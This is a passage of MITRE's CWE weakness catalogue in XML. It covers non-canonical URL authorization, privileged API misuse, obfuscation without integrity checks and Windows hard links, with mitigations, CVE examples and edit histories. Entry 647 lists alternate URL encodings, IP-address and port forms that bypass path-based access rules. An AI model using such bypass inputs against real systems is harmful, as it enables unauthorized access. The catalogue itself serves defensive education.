					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-10-14">Taking Actions based on File Name or Extension of a User Supplied File</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="647" Name="Use of Non-Canonical URL Paths for Authorization Decisions" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.</Description>
         <Extended_Description>
            <xhtml:p>If an application defines policy namespaces and makes authorization decisions based on the URL, but it does not require or convert to a canonical URL before making the authorization decision, then it opens the application to attack. For example, if the application only wants to allow access to http://www.example.com/mypage, then the attacker might be able to bypass this restriction using equivalent URLs such as:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>http://WWW.EXAMPLE.COM/mypage</xhtml:li>
                  <xhtml:li>http://www.example.com/%6Dypage (alternate encoding)</xhtml:li>
                  <xhtml:li>http://192.168.1.1/mypage (IP address)</xhtml:li>
                  <xhtml:li>http://www.example.com/mypage/ (trailing /)</xhtml:li>
                  <xhtml:li>http://www.example.com:80/mypage</xhtml:li>
               </xhtml:ul>
            <xhtml:p>Therefore it is important to specify access control policy that is based on the path information in some canonical form with all alternate encodings rejected (which can be accomplished by a default deny rule).</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="863" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Name="Web Server" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>An attacker may be able to bypass the authorization mechanism to gain access to the otherwise-protected URL.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Note>If a non-canonical URL is used, the server may choose to return the contents of the file, instead of pre-processing the file (e.g. as a program).</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Make access control policy based on path information in canonical form. Use very restrictive regular expressions to validate that the path is in the expected form.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Reject all alternate path encodings that are not in the expected canonical form.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Example from CAPEC (CAPEC ID: 4, "Using Alternative IP Address Encodings"). An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed http://192.168.0.1:8080/application. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>IDS02-J</Entry_ID>
               <Entry_Name>Canonicalize path names before validating them</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Evgeny Lebanidze</Submission_Name>
               <Submission_Organization>Cigital</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Name, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-10-14">Using Non-Canonical Paths for Authorization Decisions</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="648" Name="Incorrect Use of Privileged APIs" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.</Description>
         <Extended_Description>
            <xhtml:p>When a product contains certain functions that perform operations requiring an elevated level of privilege, the caller of a privileged API must be careful to:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>ensure that assumptions made by the APIs are valid, such as validity of arguments</xhtml:li>
                  <xhtml:li>account for known weaknesses in the design/implementation of the API</xhtml:li>
                  <xhtml:li>call the API from a safe context</xhtml:li>
               </xhtml:ul>
            <xhtml:p>If the caller of the API does not follow these requirements, then it may allow a malicious user or process to elevate their privilege, hijack the process, or steal sensitive data.</xhtml:p>
            <xhtml:p>For instance, it is important to know if privileged APIs do not shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="269" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>An attacker may be able to elevate privileges.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>An attacker may be able to obtain sensitive information.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>An attacker may be able to execute code.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Before calling privileged APIs, always ensure that the assumptions made by the privileged code hold true prior to making the call.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Know architecture and implementation weaknesses of the privileged APIs and make sure to account for these weaknesses before calling the privileged APIs to ensure that they can be called safely.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If privileged APIs make certain assumptions about data, context or state validity that are passed by the caller, the calling code must ensure that these assumptions have been validated prior to making the call.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If privileged APIs do not shed their privilege prior to returning to the calling code, then calling code needs to shed these privileges immediately and safely right after the call to the privileged APIs. In particular, the calling code needs to ensure that a privileged thread of execution will never be returned to the user or made available to user-controlled processes.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Only call privileged APIs from safe, consistent and expected state.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that a failure or an error will not leave a system in a state where privileges are not properly shed and privilege escalation is possible (i.e. fail securely with regards to handling of privileges).</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2003-0645</Reference>
               <Description>A Unix utility that displays online help files, if installed setuid, could allow a local attacker to gain privileges when a particular file-opening function is called.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0645</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="107"/>
            <Related_Attack_Pattern CAPEC_ID="234"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>Evgeny Lebanidze</Submission_Name>
               <Submission_Organization>Cigital</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-05-27">Improper Use of Privileged APIs</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="649" Name="Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the product does not use integrity checks to detect if those inputs have been modified.</Description>
         <Extended_Description>When an application relies on obfuscation or incorrectly applied / weak encryption to protect client-controllable tokens or parameters, that may have an effect on the user state, system state, or some decision made on the server. Without protecting the tokens/parameters for integrity, the application is vulnerable to an attack where an adversary traverses the space of possible values of the said token/parameter in order to attempt to gain an advantage. The goal of the attacker is to find another admissible value that will somehow elevate their privileges in the system, disclose information or change the behavior of the system in some way beneficial to the attacker. If the application does not protect these critical tokens/parameters for integrity, it will not be able to determine that these values have been tampered with. Measures that are used to protect data for confidentiality should not be relied upon to provide the integrity service.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
               <Note>The inputs could be modified without detection, causing the product to have unexpected system state or make incorrect security decisions.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Protect important client controllable tokens/parameters for integrity using PKI methods (i.e. digital signatures) or other means, and checks for integrity on the server side.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Repeated requests from a particular user that include invalid values of tokens/parameters (those that should not be changed manually by users) should result in the user account lockout.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Client side tokens/parameters should not be such that it would be easy/predictable to guess another valid state.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Obfuscation should not be relied upon. If encryption is used, it needs to be properly applied (i.e. proven algorithm and implementation, use padding, use random initialization vector, user proper encryption mode). Even with proper encryption where the ciphertext does not leak information about the plaintext or reveal its structure, compromising integrity is possible (although less likely) without the provision of the integrity service.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-0039</Reference>
               <Description>An IPSec configuration does not perform integrity checking of the IPSec packet as the result of either not configuring ESP properly to support the integrity service or using AH improperly. In either case, the security gateway receiving the IPSec packet would not validate the integrity of the packet to ensure that it was not changed. Thus if the packets were intercepted the attacker could undetectably change some of the bits in the packets. The meaningful bit flipping was possible due to the known weaknesses in the CBC encryption mode. Since the attacker knew the structure of the packet, they were able (in one variation of the attack) to use bit flipping to change the destination IP of the packet to the destination machine controlled by the attacker. And so the destination security gateway would decrypt the packet and then forward the plaintext to the machine controlled by the attacker. The attacker could then read the original message. For instance if VPN was used with the vulnerable IPSec configuration the attacker could read the victim's e-mail. This vulnerability demonstrates the need to enforce the integrity service properly when critical data could be modified by an attacker. This problem might have also been mitigated by using an encryption mode that is not susceptible to bit flipping attacks, but the preferred mechanism to address this problem still remains message verification for integrity. While this attack focuses on the network layer and requires an entity that controls part of the communication path such as a router, the situation is not much different at the software level, where an attacker can modify tokens/parameters used by the application.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0039</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="463"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>Evgeny Lebanidze</Submission_Name>
               <Submission_Organization>Cigital</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Observed_Example</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Enabling_Factors_for_Exploitation, Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Relying on Obfuscation or Encryption with no Integrity Checking to Protect User Controllable Parameters that are Used to Determine User or System State</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="65" Name="Windows Hard Link" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.</Description>
         <Extended_Description>Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. AUTOEXEC.BAT). When the process opens the file, the attacker can assume the privileges of that process, or prevent the program from accurately processing data.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="59" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Windows" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-48.1">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Follow the principle of least privilege when assigning access rights to entities in a software system.</xhtml:p>
                  <xhtml:p>Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0725</Reference>
               <Description>File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0725</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0844</Reference>
               <Description>Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0844</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Windows hard link</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO05-C</Entry_ID>
               <Entry_Name>Identify files using multiple file attributes</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP18</Entry_ID>
               <Entry_Name>Link in resource name resolution</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 11, &#34;Links&#34;, Page 676"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
